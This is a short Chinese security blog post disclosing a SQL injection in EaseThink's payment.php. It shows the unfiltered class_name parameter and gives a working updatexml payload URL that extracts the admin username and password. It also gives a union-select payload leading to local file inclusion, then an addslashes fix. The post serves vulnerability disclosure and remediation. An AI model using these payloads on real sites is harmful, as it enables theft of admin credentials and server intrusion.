- A+
所属分类:Seay信息安全博客
显示不全请点击全屏阅读
一个分析报告,安全宝能够拦截,发一下吧。博客没啥文章了,最近略忙。。。
略忙。。。
略忙。。。
略忙。。。
略忙。。。
漏洞作者:leehenwu
01漏洞分析
漏洞在payment.php文件
elseif($_REQUEST['act']=='return') { //支付跳转返回页 $class_name = $_REQUEST['class_name']; $payment_info = $GLOBALS['db']->getRowCached("select * from ".DB_PREFIX."payment where class_name = '".$class_name."'"); if($payment_info) { require_once APP_ROOT_PATH."system/payment/".$payment_info['class_name']."_payment.php"; $payment_class = $payment_info['class_name']."_payment"; $payment_object = new $payment_class(); $payment_code = $payment_object->response($_REQUEST); } else { showErr($GLOBALS['lang']['PAYMENT_NOT_EXIST']); } }
$class_name 没有过滤,导致注入,需要GPC=OFF
02 攻击测试
测试地址:www.cnseay.com
访问:
http://www.cnseay.com/payment.php?act=return&class_name=-1' and (updatexml(1,concat(0x3a,(select concat(adm_name,0x3a,adm_password) from easethink_admin limit 1)),1))-- 1
这里引发了一个二次利用,可以转化为本地文件包含漏洞,需要截断。
包含system/payment/目录下的2_payment.php
http://localhost/easethink/payment.php?act=return&class_name=-1′ union select 1,2,3,4,5,6,7,8,9,10,11 — 1
03 解决方案
$class_name = $_REQUEST['class_name'];
修改为
$class_name = addslashes($_REQUEST['class_name']);
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡